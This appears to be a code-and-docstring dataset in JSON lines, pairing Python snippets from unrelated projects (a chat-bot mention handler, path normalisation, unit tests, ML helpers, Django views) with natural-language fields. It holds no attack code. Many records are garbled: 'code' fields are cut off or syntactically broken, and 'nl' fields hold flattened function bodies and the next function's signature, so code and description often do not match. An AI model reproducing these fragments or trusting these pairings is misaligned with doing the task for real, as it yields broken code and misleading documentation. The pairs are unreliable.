').format(\n len(mention_list), username, conversation_name)\n\n for u in mention_list:\n text_html += u.full_name\n if bot.memory.exists(['user_data', u.id_.chat_id, \"nickname\"]):\n text_html += ' (' + bot.memory.get_by_path(['user_data', u.id_.chat_id, \"nickname\"]) + ')'\n text_html += '
'\n\n text_html += \"
To toggle this message on/off, use /bot bemorespecific\"\n\n yield from bot.coro_send_message(conv_1on1_initiator, text_html)\n\n logger.warning(\"@{} not sent due to multiple recipients\".format(username_lower))\n return\n\n \"\"\"support for reprocessor", "nl": "handle @mentionoccurrences = [word for word in set(event.text.split()) if word.startswith('@')]if len(occurrences) > 0:for word in occurrences:# strip all special characterscleaned_name = ''.join(e for e in word if e.isalnum() or e in [\"-\"])yield from command.run(bot, event, *[\"mention\", cleaned_name])def _user_has_dnd(bot, user_id):try:return bot.call_shared(\"dnd.user_check\", user_id) # shared dnd checkexcept KeyError:logger.warning(\"mentions: falling back to legacy _user_has_dnd()\")initiator_has_dnd = Falseif bot.memory.exists([\"donotdisturb\"]):donotdisturb = bot.memory.get('donotdisturb')if user_id in donotdisturb:initiator_has_dnd = Truereturn initiator_has_dnddef mention(bot, event, *args):alert a @mentioned user"} {"code": "def normpath(path):\n if not isabs(path):\n if isinstance(path, _unicode):\n cwd = os.getcwdu()\n else:\n cwd = os.getcwd()\n path = join(cwd, path)\n return normpath(path)\n\nelse:", "nl": "Normalize path, eliminating double slashes, etc.# Preserve unicode (if path is unicode)backslash, dot = (u'\\\\', u'.') if isinstance(path, _unicode) else ('\\\\', '.')if path.startswith(('\\\\\\\\.\\\\', '\\\\\\\\?\\\\')):# in the case of paths with these prefixes:# \\\\.\\ -> device names# \\\\?\\ -> literal paths# do not do any normalization, but return the path unchangedreturn pathpath = path.replace(\"/\", \"\\\\\")prefix, path = splitdrive(path)# We need to be careful here. If the prefix is empty, and the path starts# with a backslash, it could either be an absolute path on the current# drive (\\dir1\\dir2\\file) or a UNC filename (\\\\server\\mount\\dir1\\file). It# is therefore imperative NOT to collapse multiple backslashes blindly in# that case.# The code below preserves multiple backslashes when there is no drive# letter. This means that the invalid filename \\\\\\a\\b is preserved# unchanged, where a\\\\\\b is normalised to a\\b. It's not clear that there# is any better behaviour for such edge cases.if prefix == '':# No drive letter - preserve initial backslasheswhile path[:1] == \"\\\\\":prefix = prefix + backslashpath = path[1:]else:# We have a drive letter - collapse initial backslashesif path.startswith(\"\\\\\"):prefix = prefix + backslashpath = path.lstrip(\"\\\\\")comps = path.split(\"\\\\\")i = 0while i < len(comps):if comps[i] in ('.', ''):del comps[i]elif comps[i] == '..':if i > 0 and comps[i-1] != '..':del comps[i-1:i+1]i -= 1elif i == 0 and prefix.endswith(\"\\\\\"):del comps[i]else:i += 1else:i += 1# If the path is now empty, substitute '.'if not prefix and not comps:comps.append(dot)return prefix + backslash.join(comps)# Return an absolute path.try:from nt import _getfullpathnameexcept ImportError: # not running on Windows - mock up something sensibledef abspath(path):Return the absolute version of a path."} {"code": "def random_name(base,a='0',b='99'):\n\n number = random.randint(int(a),int(b))\n result = base % number\n BuiltIn().log(\"Created a random name as `%s`\" % result)\n return result\n", "nl": " Returns a random name by a `base` and a random number between [a,b]Example:| ${FOLDER}= | `Random Name` | capture_%05d | 0 | 99 |"} {"code": "def handle_custom_exception(error):\n if PROPAGATE_EXCEPTIONS is set.\"\"\"", "nl": "Some descriptionpassspecs = client.get_specs()assert \"Error\" in specs[\"definitions\"]assert \"CustomException\" in specs[\"responses\"]response = specs[\"responses\"][\"CustomException\"]assert response[\"description\"] == \"Some description\"assert response[\"schema\"] == {\"$ref\": \"#/definitions/Error\"}assert response[\"headers\"] == {\"Custom-Header\": {\"description\": \"Some custom header\", \"type\": \"string\"}}operation = specs[\"paths\"][\"/test/\"][\"get\"]assert \"responses\" in operationassert operation[\"responses\"] == {\"503\": {\"$ref\": \"#/responses/CustomException\"}}def test_errorhandler_with_propagate_true(self, app, client):Exceptions with errorhandler should not be returned to client, even"} {"code": "def test_normal(self):\n self.mock.is_android.return_value = True\n self.mock.get_start_and_end_revision.side_effect = [(1, 100), (9, 90)]\n self.mock.get_component_range_list.return_value = [{\n 'component': 'test'\n }, {\n 'component': 'Chromium',\n 'link_text': 'somelink'\n }, {\n 'component': 'test'\n }]\n start, end = impact_task.get_start_and_end_revision('123:456',\n 'android_job')\n\n self.assertEqual(9, start)\n self.assertEqual(90, end)\n self.mock.get_start_and_end_revision.assert_has_calls(\n [mock.call('123:456'), mock.call('somelink')])\n self.mock.get_component_range_list.assert_has_calls(\n [mock.call(1, 100, 'android_job')])", "nl": "Test when there's no end revision.self.mock.is_android.return_value = Falseself.mock.get_start_and_end_revision.return_value = (1, 100)start, end = impact_task.get_start_and_end_revision('123:456', 'job')self.assertEqual(1, start)self.assertEqual(100, end)self.mock.get_start_and_end_revision.assert_has_calls([mock.call('123:456')])self.mock.get_component_range_list.assert_has_calls([])def test_android(self):Test android."} {"code": "def test_get_string_delta_invalid_format(self, fact):\n assert fact.date == fact.start.date()\n", "nl": "Ensure that passing an invalid format will raise an exception.with pytest.raises(ValueError):fact.get_string_delta('foobar')def test_date(self, fact):Make sure the property returns just the date of ``Fact().start``."} {"code": "def opt_flag(self):\n\n opts = Options()\n argGen = _shellcomp.ZshArgumentsGenerator(opts, 'ace', None)\n\n self.assertEqual(argGen.getDescription('flag'), 'A flag')\n self.assertEqual(argGen.getDescription('param'), 'A param')\n\n\n\nclass EscapeTests(unittest.TestCase):", "nl": " junk description def opt_param(self, param): junk description "} {"code": "def download_request_attachment_2(request: HttpRequest, ra_slug: str) -> HttpResponse:\n req = get_object_or_404(RARequest, slug=ra_slug, draft=False, deleted=False, unit__in=request.units)\n attachment = req.file_attachment_2\n filename = attachment.name.rsplit('/')[-1]\n resp = StreamingHttpResponse(attachment.chunks(), content_type=req.file_mediatype_2)\n resp['Content-Disposition'] = 'attachment; filename=\"' + filename + '\"'\n resp['Content-Length'] = attachment.size\n return resp\n\n@requires_role(\"FUND\")\n@transaction.atomic", "nl": "View to download the second attachment for an RA request."} {"code": "def get_state(self):\n\n self._db.set_state(self._state_name, timestamp)\n", "nl": "Get the state timestamp.return self._db.get_state(self._state_name)def set_state(self, timestamp):Set the current state's timestamp."} {"code": "def load_essay(essay_url, index=True, session=None):\n\n if session is None:\n session = requests.Session()\n\n LOGGER.info(\"loading essay %s\", essay_url)\n\n url_parts = urlparse.urlparse(essay_url)\n essay_id = url_parts[2].split(\"/\")[2]\n\n response = session.get(essay_url)\n response.raise_for_status()\n doc = BeautifulSoup(response.text, \"html.parser\")\n\n essay = Essay(id=essay_id)\n essay.title = doc.title.text.strip()\n essay.created = doc.find_all(property=\"dcterms:created\")[0][\"content\"]\n essay.modified = doc.find_all(property=\"dcterms:modified\")[0][\"content\"]\n essay.creator = _lookup_awardee(doc.find_all(property=\"dcterms:creator\")[0][\"content\"])\n description = doc.find_all(property=\"dcterms:description\")[0]\n description = \"\".join(map(str, description.contents))\n essay.html = description\n essay.essay_editor_url = essay_url\n essay.save()\n\n for title_uri in doc.find_all(property=\"dcterms:subject\"):\n lccn = _lccn_from_title_uri(title_uri[\"content\"])\n\n try:\n title = Title.objects.get(lccn=lccn)\n except Title.DoesNotExist:\n management.call_command(\n \"load_titles\", \"https://chroniclingamerica.loc.gov/lccn/%s/marc.xml\" % lccn\n )\n title = Title.objects.get(lccn=lccn)\n\n essay.titles.add(title)\n\n if index:\n index_title(title)\n\n LOGGER.info(\"loaded essay: %s\", essay_url)\n return essay\n\n", "nl": "Load an essay from an RDFa HTML document."} {"code": "def _model_variable_scope(self):\n\n return tf.variable_scope('resnet_model',\n custom_getter=self._custom_dtype_getter)\n", "nl": "Returns a variable scope that the model should be created under.If self.dtype is a castable type, model variable will be created in fp32then cast to self.dtype before being used.Returns:A variable scope for the model."} {"code": "def get_server_version(self, agent=None):\n raise NotImplementedError(\n \"Sorry, the current Backend does not implement this method!\"\n )\n\n @abstractmethod", "nl": "The :func:`burpui.misc.backend.interface.BUIbackend.get_server_version`function returns the server version (if any).:param agent: What server to ask (only in multi-agent mode):type agent: str:returns: Burp server version"} {"code": "def add_to_servicegroup(self, servicegroup_name):\n sg = Servicegroup.objects.get_by_shortname(servicegroup_name)\n return _add_object_to_group(self, sg)\n", "nl": " Add this service to a specific servicegroup"} {"code": "def test_Nparam(self):\n and a single variable if it is passed a single variable.\n pylearn2 depends on theano behaving this way. This functionality has been\n added three times and erroneously removed twice. If you do anything that\n requires changing this test or making it fail you are almost certainly\n making a common mistake, NOT fixing something. \"\"\"", "nl": "grad: Test passing multiple variable paramso = test_grad.O()a1 = o.make_node()g0, g1 = grad(a1.outputs[0], a1.inputs)g0.name = Noneself.assertTrue(o.gval0 is g0)self.assertTrue(o.gval1 is g1)def test_grad_keep_type(self):Tests that the theano grad method returns a list if it is passed a list"} {"code": "def documentation(self, func):\n if self._doc_view:\n return self._doc_view()\n elif not self._doc:\n self.abort(HTTPStatus.NOT_FOUND)\n return apidoc.ui_for(self)\n", "nl": "A decorator to specify a view function for the documentationself._doc_view = funcreturn funcdef render_root(self):self.abort(HTTPStatus.NOT_FOUND)def render_doc(self):Override this method to customize the documentation page"} {"code": "def __ne__(self, other):\n", "nl": "Needed for Python 2.return not self.__eq__(other)class FunctionCallRecorder(object):Utility class to wrap a callable and record its invocations."} {"code": "def base64_len(s):\n\n Defined in RFC 2045, this Base64 encoding is identical to normal Base64\n encoding, except that each line must be intelligently wrapped (respecting\n the Base64 encoding), and subsequent lines must start with a space.\n", "nl": "Return the length of s when it is encoded with base64.groups_of_3, leftover = divmod(len(s), 3)# 4 bytes out for each 3 bytes (or nonzero fraction thereof) in.# Thanks, Tim!n = groups_of_3 * 4if leftover:n += 4return ndef header_encode(header, charset='iso-8859-1', keep_eols=False,maxlinelen=76, eol=NL):Encode a single header line with Base64 encoding in a given charset."} {"code": "def stop_notifying(cls, user_or_email_, **filters):\n cls._watches_belonging_to_user(user_or_email_, **filters).delete()\n\n\n", "nl": "Delete all watches matching the exact user/email and filters.Delete both active and inactive watches. If duplicate watchesexist due to the get-then-create race condition, delete them all.Implementations in subclasses may take different arguments; see thedocstring of :meth:`is_notifying()`."} {"code": "def _gen_mobilenet_v3_rw(variant, channel_multiplier=1.0, pretrained=False, **kwargs):", "nl": "Creates a MobileNet-V3 model.Ref impl: ?Paper: https://arxiv.org/abs/1905.02244Args:channel_multiplier: multiplier to number of channels per layer."} {"code": "def get_deposit_history(self, coin=None):\n\n raise NotImplementedError", "nl": "get deposit historyraise NotImplementedErrordef get_withdraw_history(self, coin=None):get withdrawals history"} {"code": "def patchify(self, imgs):\n p = self.patch_embed.patch_size[0]\n assert imgs.shape[2] == imgs.shape[3] and imgs.shape[2] % p == 0\n\n h = w = imgs.shape[2] // p\n x = imgs.reshape(imgs.shape[0], 3, h, p, w, p)\n x = x.permute(0, 2, 4, 3, 5, 1)\n x = x.reshape(imgs.shape[0], h * w, p ** 2 * 3)\n return x\n", "nl": "imgs: (N, 3, H, W)x: (N, L, patch_size**2 *3)"} {"code": "def read_block_content(lines,lineno,indent_seq):\n indentation_pattern = re.compile('^(%s\\s+)[^\\s]' % indent_seq)\n\n im = find_indentation_match(lines,lineno,indentation_pattern)\n inner_indent_seq = None\n if im is not None:\n inner_indent_seq = im.group(1)\n else:\n return lineno, [], []\n\n last_lineno = lineno\n content_lines = []\n content_linenos = []\n while last_lineno < len(lines):\n if lines[last_lineno].startswith(inner_indent_seq):\n content_lines.append(lines[last_lineno])\n content_linenos.append(last_lineno)\n elif len(lines[last_lineno].strip()) == 0:\n content_lines.append(inner_indent_seq)\n content_linenos.append(last_lineno)\n else:\n break\n last_lineno += 1\n\n il = len(inner_indent_seq)\n return last_lineno,[x[il:].rstrip() for x in content_lines],content_linenos\n\nvariable_pattern = re.compile('([\\w\\d_]+)|(\\{([\\w\\d]+\\.)?[\\w\\d_]+?\\})')\nSUPPORTED_BUILTIN_FUNCTIONS = ['','PLN']\nSUPPORTED_ESCAPABLE_CHARACTERS = ['$','\\\\']\n", "nl": "Extract block content - begins with indent_seq + whatever the new intentation isReturn: (next_lineno,content,content_linenos)"} {"code": "def init_jacks_local(self):\n if not (self.jack1[2] == self.jack2[2] == self.jack3[2]):\n raise ValueError('The mirror must be initially horizontal!')\n self.jackToMirrorInvariant = self.center[2] - self.jack1[2]\n self.jack1local = [ji - ci for ji, ci in zip(self.jack1, self.center)]\n self.jack2local = [ji - ci for ji, ci in zip(self.jack2, self.center)]\n self.jack3local = [ji - ci for ji, ci in zip(self.jack3, self.center)]\n for jl in [self.jack1local, self.jack2local, self.jack3local]:\n jl[0], jl[1] = raycing.rotate_z(jl[0], jl[1], self.bl.cosAzimuth,\n self.bl.sinAzimuth)\n", "nl": "To be invoked in ``self.__init__``. Calculates the invariant offsetand the jack positions in local virgin system."} {"code": "def package_dependencies(self) -> Set[ComponentId]:\n Update configuration with other data.\n\n :param data: the data to replace.\n :param env_vars_friendly: whether or not it is env vars friendly.\n \"\"\"", "nl": "Get the package dependencies.return set()def update(self, data: Dict, env_vars_friendly: bool = False) -> None:"} {"code": "def test_samplesheet_predictor_iem_id_and_names_differ(self):\n iem = SampleSheet(fp=io.StringIO(\n self.hiseq_sample_sheet_id_and_name_differ_content))\n predictor = SampleSheetPredictor(sample_sheet=iem)\n self.assertEqual(predictor.nprojects,1)\n self.assertEqual(predictor.project_names,[\"PeterBriggs\"])\n project = predictor.get_project(\"PeterBriggs\")\n self.assertRaises(KeyError,predictor.get_project,\"DoesntExist\")\n self.assertEqual(project.sample_ids,[\"PJB1-1579\",\"PJB2-1580\"])\n sample1 = project.get_sample(\"PJB1-1579\")\n sample2 = project.get_sample(\"PJB2-1580\")\n self.assertRaises(KeyError,project.get_sample,\"DoesntExist\")\n self.assertEqual(sample1.barcode_seqs,[\"CGATGTAT-TCTTTCCC\"])\n self.assertEqual(sample2.barcode_seqs,[\"TGACCAAT-TCTTTCCC\"])\n self.assertEqual(sample1.lanes(\"CGATGTAT-TCTTTCCC\"),[1,2])\n self.assertEqual(sample2.lanes(\"TGACCAAT-TCTTTCCC\"),[1,2])\n self.assertEqual(sample1.s_index,1)\n self.assertEqual(sample2.s_index,2)\n predictor.set(package=\"bcl2fastq2\")\n self.assertEqual(project.dir_name,\"PeterBriggs\")\n self.assertEqual(sample1.dir_name,\"PJB1\")\n self.assertEqual(sample1.fastqs(),\n [\"PJB1-1579_S1_L001_R1_001.fastq.gz\",\n \"PJB1-1579_S1_L002_R1_001.fastq.gz\"])\n self.assertEqual(sample2.dir_name,\"PJB2\")\n self.assertEqual(sample2.fastqs(),\n [\"PJB2-1580_S2_L001_R1_001.fastq.gz\",\n \"PJB2-1580_S2_L002_R1_001.fastq.gz\"])\n predictor.set(package=\"casava\")\n self.assertEqual(project.dir_name,\"Project_PeterBriggs\")\n self.assertEqual(sample1.fastqs(),\n [\"PJB1-1579_CGATGTAT-TCTTTCCC_L001_R1_001.fastq.gz\",\n \"PJB1-1579_CGATGTAT-TCTTTCCC_L002_R1_001.fastq.gz\"])\n self.assertEqual(sample2.fastqs(),\n [\"PJB2-1580_TGACCAAT-TCTTTCCC_L001_R1_001.fastq.gz\",\n \"PJB2-1580_TGACCAAT-TCTTTCCC_L002_R1_001.fastq.gz\"])\n", "nl": "SampleSheetPredictor: handle IEM4 sample sheet where sample ID differs from name"} {"code": "def __check_completion(self):\n if self.__count == len(self) and isinstance(self.owner, ConjectureResult):\n self.owner = None\n", "nl": "The list of blocks is complete if we have created every ``Block``object that we currently good and know that no more will be created.If this happens then we don't need to keep the reference to theowner around, and delete it so that there is no circular reference.The main benefit of this is that the gc doesn't need to run to collectthis because normal reference counting is enough."} {"code": "def stop(self):\n self.elapsed_ = 0.0\n self.started_ = False\n", "nl": "Stop the timer.assert self.started_, 'timer is not started'torch.cuda.synchronize()self.elapsed_ += (time.time() - self.start_time)self.started_ = Falsedef reset(self):Reset timer."} {"code": "def unpack(self):\n self.data['collector_bgp_id'] = self.val_addr(AFI_T['IPv4'])\n self.data['view_name_length'] = self.val_num(2)\n self.data['view_name'] = self.val_str(self.data['view_name_length'])\n self.data['peer_count'] = self.val_num(2)\n self.data['peer_entries'] = []\n for _ in range(self.data['peer_count']):\n entry = PeerEntries(self.buf[self.p:])\n self.p += entry.unpack()\n self.data['peer_entries'].append(entry.data)\n return self.p\n\nclass PeerEntries(Base):\n '''\n __slots__ = []\n", "nl": "Decoder for PEER_INDEX_TABLE format."} {"code": "def link_to(self, target):\n if self._closed:\n self._raise_closed()\n self._accessor.link_to(self, target)\n", "nl": "Create a hard link pointing to a path named target."} {"code": "def traj_top_frequent_cordinates(traj=None):\n if len(traj) == 0:\n return [0] * len(quantile)\n feature_vals = []\n for qu in quantile:\n feature_vals.append(traj[feature_name].quantile(qu))\n return feature_vals\n\n", "nl": "Top frequent coordinates and its frequency.gp = traj.groupby([\"lon\", \"lat\"]).count()total_uniques, unique_percentage = [len(gp)], [len(gp) / len(traj)]gp.reset_index(inplace=True)array_tmp = gp.sort_values(by=\"boat_id\", ascending=False)[[\"lon\", \"lat\"]].valuescoord_freq = array_tmp[0].tolist()return total_uniques + unique_percentage + coord_freqdef traj_quantile_features(traj, quantile=[0.1, 0.15, 0.25],feature_name=\"x\"):Quantile statistics for a specified feature."} {"code": "def isLockedDoor(self):\n if simbase.config.GetBool('no-locked-doors', 0):\n return 0\n else:\n return self.lockedDoor\n", "nl": "Find out if the door is locked. 0 means no, positive valuesmean yes. Classes that inherit may attach special meanings todifferent positive values.NOTE: the cog hq doors don't seem to respect the no-locked-doors flag. "} {"code": "def entropy_H(self, data):\n", "nl": "Calculate the entropy of a chunk of data.if not data:return 0.0occurences = Counter(bytearray(data))entropy = 0for x in occurences.values():p_x = float(x) / len(data)entropy -= p_x*math.log(p_x, 2)return entropyclass DataContainer(object):Generic data container."} {"code": "def manifest(self):\n return self.branch\n", "nl": " Manifest return self.syncer.manifestdef manifest_branch(self): Current manifest branch "} {"code": "def initiate_device_claim(DeviceId=None):\n pass\n", "nl": "Given a device ID, initiates a claim request for the associated device.See also: AWS API DocumentationExceptions:example: response = client.initiate_device_claim(DeviceId='string'):type DeviceId: string:param DeviceId: [REQUIRED]\\nThe unique identifier of the device.\\n:rtype: dictReturnsResponse Syntax{'State': 'string'}Response Structure(dict) --200 responseState (string) --The device\\'s final claim state.ExceptionsIoT1ClickDevicesService.Client.exceptions.ResourceNotFoundExceptionIoT1ClickDevicesService.Client.exceptions.InvalidRequestExceptionIoT1ClickDevicesService.Client.exceptions.InternalFailureExceptionIoT1ClickDevicesService.Client.exceptions.ResourceConflictException:return: {'State': 'string'}"} {"code": "def print_version(ctx, param, value):\n if not value or ctx.resilient_parsing:\n return\n click.echo('genmod version: ' + __version__)\n ctx.exit()\n\n\n\n@click.group()\n@click.option('--version',\n is_flag=True,\n callback=print_version,\n expose_value=False,\n is_eager=True\n)\n@click.option('-l', '--logfile',\n type=click.Path(exists=False),\n help=u\"Path to log file. If none logging is \"\\\n \"printed to stderr.\"\n)\n@click.option('-v', '--verbose',\n count=True,", "nl": "Callback function for printing version and exitingArgs:ctx (object) : Current contextparam (object) : Click parameter(s)value (boolean) : Click parameter was supplied or notReturns:None:"} {"code": "def get_user_and_user_email_by_email(self, email):\n return self.db_adapter.get_object(self.UserClass, id=id)\n", "nl": "Retrieve the User and UserEmail object by email address.if self.UserEmailClass:user_email = self.db_adapter.ifind_first_object(self.UserEmailClass, email=email)user = user_email.user if user_email else Noneelse:user = self.db_adapter.ifind_first_object(self.UserClass, email=email)user_email = userreturn (user, user_email)def get_user_by_id(self, id):Retrieve a User object by ID."} {"code": "def child_bar(self, context):\n return ChildPage('bar')\n", "nl": "A resource that is always called 'bar' but is created per-request"} {"code": "def describe_keyspace(self, keyspace):\n self.send_describe_keyspace(keyspace)\n return self.recv_describe_keyspace()\n", "nl": "describe specified keyspaceParameters:- keyspace"} {"code": "def __init__(self, automatic_descriptors=True):\n self._automatic_descriptors = automatic_descriptors\n super().__init__(automatic_language_descriptor=automatic_descriptors)\n\n", "nl": "Parameters:automatic_descriptors -- If set or not provided, certian required descriptors will bebe added if none exists."} {"code": "def validated_input(validator, *args, **kwargs):\n return _get_validated(zope.component.getUtility(interfaces.IDisplay).input,\n validator, *args, **kwargs)\n\n", "nl": "Like `~certbot.interfaces.IDisplay.input`, but with validation.:param callable validator: A method which will be called on thesupplied input. If the method raises an `errors.Error`, itstext will be displayed and the user will be re-prompted.:param list `*args`: Arguments to be passed to `~certbot.interfaces.IDisplay.input`.:param dict `**kwargs`: Arguments to be passed to `~certbot.interfaces.IDisplay.input`.:return: as `~certbot.interfaces.IDisplay.input`:rtype: tuple"} {"code": "def _FarthestPointSampleCenters(self, points_xyz, num_seeded_points):\n p = self.params\n num_points = tf.shape(points_xyz)[0]\n points_padding = tf.zeros((num_points,), dtype=tf.float32)\n padded_num_points = tf.maximum(num_points, p.num_cell_centers)\n\n points_xy = py_utils.PadOrTrimTo(points_xyz[:, :2], [padded_num_points, 2])\n points_padding = py_utils.PadOrTrimTo(\n points_padding, [padded_num_points], pad_val=1.0)\n\n sampled_idx, _ = car_lib.FarthestPointSampler(\n points_xy[tf.newaxis, ...],\n points_padding[tf.newaxis, ...],\n p.num_cell_centers,\n num_seeded_points=num_seeded_points,\n random_seed=p.random_seed)\n sampled_idx = sampled_idx[0, :]\n\n if p.fix_z_to_zero:\n centers = tf.concat([\n tf.gather(points_xy, sampled_idx),\n tf.zeros((p.num_cell_centers, 1)),\n ], axis=-1)\n else:\n centers = tf.gather(points_xyz, sampled_idx)\n\n return centers\n", "nl": "Samples centers with Farthest Point Sampling.Args:points_xyz: An unpadded tf.float32 Tensor of shape [P, 3] with per point(x, y, z) locations. We expect any padded points to be removed beforethis function is called.num_seeded_points: integer indicating how many of the firstnum_seeded_points points in points_xyz should be consideredas seeds for FPS (always chosen).Returns:A tf.float32 Tensor of shape [p.num_cell_centers, 3] with selected centersto use as anchors."} {"code": "def test_invalid_enum_fields_with_in_operator(self):\n stix_pattern = \"[x-oca-asset:extensions.'x-sentinelone-endpoint'.\" \\\n \"endpoint_os IN ('mac') \" \\\n \"OR file:extensions.'x-sentinelone-file'.file_type IN ('PE')]\"\n result = translation.translate('sentinelone', 'query', '{}', stix_pattern)\n assert result['success'] is False\n assert ErrorCode.TRANSLATION_NOTIMPLEMENTED_MODE.value == result['code']\n assert result['error'] == \"sentinelone connector error => \" \\\n \"wrong parameter : Unsupported ENUM values provided. \" \\\n \"Possible supported enum values \" \\\n \"are['windows', 'osx', 'linux']\"\n", "nl": "test to check invalid enum fields stix_pattern = \"[x-oca-asset:extensions.'x-sentinelone-endpoint'.\" \\\"endpoint_os IN ('mac')]\"result = translation.translate('sentinelone', 'query', '{}', stix_pattern)assert result['success'] is Falseassert ErrorCode.TRANSLATION_NOTIMPLEMENTED_MODE.value == result['code']assert result['error'] == \"sentinelone connector error => \" \\\"wrong parameter : Unsupported ENUM values provided. \" \\\"Possible supported enum values \" \\\"are['windows', 'osx', 'linux']\"def test_invalid_enum_fields_with_multiple_element(self):test to check invalid enum fields with multiple element"} {"code": "def generate_code(code_on, code_off, unique_id):\n\n code_on_indented = textwrap.indent(code_on, ' ' * 8)\n full_code = pre_statement_run + code_on_indented\n\n full_code += \"\"\"", "nl": "pre_statement_run = fimport osimport syssys.path.append(os.path.abspath('/var/mycodo-root'))from mycodo.mycodo_client import DaemonControlcontrol = DaemonControl()output_id = '{unique_id}'class OutputRun:def __init__(self, logger, output_id):self.logger = loggerself.output_id = output_idself.variables = {{}}self.running = Truedef stop_output(self):self.running = Falsedef output_code_run_on(self):"} {"code": "def log_theta():\n redis_db = Database()\n mongo_db = MongoLog()\n experiment_ids = redis_db.get_experiment_ids()\n for experiment_id in experiment_ids:\n exp = Experiment(experiment_id)\n if exp.properties[\"hourly_theta\"] == \"True\":\n theta = exp.get_theta()\n theta[\"exp_id\"] = experiment_id\n mongo_db.log_hourly_theta(theta)\n", "nl": " For every experiment, if Theta logging flag is set. Log theta fromredis to mongodb."} {"code": "def getwinsize(self):\n return self.ptyproc.getwinsize()\n", "nl": "This returns the terminal window size of the child tty. The returnvalue is a tuple of (rows, cols). "} {"code": "def __init__(self, name, quote=None, **kw):\n\n The argument here is the string name of the schema.\n\n \"\"\"", "nl": "Create a new :class:`.CreateSchema` construct.self.quote = quotesuper(CreateSchema, self).__init__(name, **kw)class DropSchema(_CreateDropBase):Represent a DROP SCHEMA statement."} {"code": "def updateExtendedProfileAttribute(self, attr, extendedProfile):\n self.send_updateExtendedProfileAttribute(attr, extendedProfile)\n self.recv_updateExtendedProfileAttribute()\n", "nl": "Parameters:- attr- extendedProfile"} {"code": "def serve_client(self, conn):\n util.debug('starting server thread to service %r',\n threading.current_thread().name)\n\n recv = conn.recv\n send = conn.send\n id_to_obj = self.id_to_obj\n\n while not self.stop_event.is_set():\n\n try:\n methodname = obj = None\n request = recv()\n ident, methodname, args, kwds = request\n try:\n obj, exposed, gettypeid = id_to_obj[ident]\n except KeyError as ke:\n try:\n obj, exposed, gettypeid = \\\n self.id_to_local_proxy_obj[ident]\n except KeyError as second_ke:\n raise ke\n\n if methodname not in exposed:\n raise AttributeError(\n 'method %r of %r object is not in exposed=%r' %\n (methodname, type(obj), exposed)\n )\n\n function = getattr(obj, methodname)\n\n try:\n res = function(*args, **kwds)\n except Exception as e:\n msg = ('\n else:\n typeid = gettypeid and gettypeid.get(methodname, None)\n if typeid:\n rident, rexposed = self.create(conn, typeid, res)\n token = Token(typeid, self.address, rident)\n msg = ('\n else:\n msg = ('\n\n except AttributeError:\n if methodname is None:\n msg = ('\n else:\n try:\n fallback_func = self.fallback_mapping[methodname]\n result = fallback_func(\n self, conn, ident, obj, *args, **kwds\n )\n msg = ('\n except Exception:\n msg = ('\n\n except EOFError:\n util.debug('got EOF -- exiting thread serving %r',\n threading.current_thread().name)\n sys.exit(0)\n\n except Exception:\n msg = ('\n\n try:\n try:\n send(msg)\n except Exception as e:\n send(('\n except Exception as e:\n util.info('exception in thread serving %r',\n threading.current_thread().name)\n util.info(' ... message was %r', msg)\n util.info(' ... exception was %r', e)\n conn.close()\n sys.exit(1)\n", "nl": "Handle requests from the proxies in a particular process/thread"} {"code": "def project(self,descriptors):\n\n imhist = zeros((self.nbr_words))\n words,distance = vq(descriptors,self.voc)\n for w in words:\n imhist[w] += 1\n\n return imhist\n", "nl": " Project descriptors on the vocabularyto create a histogram of words. "} {"code": "def _mergeBeaconInformation(self, newBeaconInformation):\n old = self._state.get('_partialBeaconInformation')\n if old is None:\n return\n\n for attr in [\"seenBeacons\", \"usedBeacons\"]:\n getattr(newBeaconInformation, attr).update(getattr(old, attr))\n\n", "nl": "Merges beacon information in the adapter state (if it exists) intothe provided beacon information. Specifically, this merges used andseen beacons.If the adapter state has no beacon information, does nothing.@param beaconInformation: The beacon information object that beaconinformation will be merged into (if necessary).@type beaconInformation: L{twisted.positioning.base.BeaconInformation}"} {"code": "def resnet50(pretrained=False, **kwargs):\n model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs)\n if pretrained:\n model.load_state_dict(model_zoo.load_url(model_urls[\"resnet50\"]))\n return model\n\n", "nl": "Constructs a ResNet-50 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def test_fmt(self):\n self.assertEqual(\n self.ca._fmt('proid.app-name-appid-uniqid'),\n 'proid.app-name\n\n\n@unittest.skip('No you cannot nest them')\nclass LogContextTest(unittest.TestCase):\n \"\"\"Unit test for the LogContext class\n", "nl": "Test the log representation of the 'extra' attribute"} {"code": "def testRemove(self):\n endpoint = beans.ImportEndpoint(\"service-uid\",\n \"some-framework\",\n [\"configA\", \"configB\"],\n \"name\", \"test.spec\", {})\n\n self.assertFalse(self.service.remove(endpoint.uid),\n \"Removal of an unknown endpoint has been accepted\")\n\n self.assertTrue(self.service.add(endpoint), \"Addition refused\")\n\n self.assertTrue(self.service.remove(endpoint.uid),\n \"Error removing an endpoint\")\n", "nl": "Tests the removal of an endpoint"} {"code": "def is_reset_asserted(self):\n raise NotImplementedError()\n", "nl": "Returns True if the target reset line is asserted or False if de-assertedraise NotImplementedError()def flush(self):Write out all unsent commands"} {"code": "def get_pinned_object(pinned_id):\n\n Example:\n >>> with warn_if_slow(\"some_operation\"):\n ... ray.get(something)\n \"\"\"", "nl": "Deprecated.return ray.get(pinned_id)class warn_if_slow:Prints a warning if a given operation is slower than 100ms."} {"code": "def test_existing_endpoint_template(self):\n self.core.add_api(self.eeapi)\n id_key = get_template_id(self, self.eeapi)\n\n data = {\n 'id': id_key,\n 'name': self.eeapi_name,\n 'type': 'some-type',\n 'region': 'some-region'\n }\n (response, json_body) = self.successResultOf(\n json_request(self, self.root, self.verb,\n self.uri,\n body=data,\n headers=self.headers))\n\n self.assertEqual(response.code, 409)\n self.assertEqual(json_body['conflict']['code'], 409)\n self.assertEqual(\n json_body['conflict']['message'],\n \"ID value is already assigned to an existing template\"\n )\n", "nl": "POST does not overwrite an existing endpoint template, 409 isgenerated instead."} {"code": "def _check_mask_type_and_value(array_name, masks):\n", "nl": "Checks whether mask dtype is uint8 and the values are either 0 or 1.if masks.dtype != np.uint8:raise ValueError('{} must be of type np.uint8. Found {}.'.format(array_name, masks.dtype))if np.any(np.logical_and(masks != 0, masks != 1)):raise ValueError('{} elements can only be either 0 or 1.'.format(array_name))class CocoMaskEvaluator(object_detection_evaluation.DetectionEvaluator):Class to evaluate COCO detection metrics."} {"code": "def test_course_import(self):\n self.init_course_data(self.upload_all_sample_course_files)\n\n email = 'test_get_put_file@google.com'\n\n actions.login(email, is_admin=True)\n response = self.get('dashboard?action=settings_advanced')\n\n compute_form = 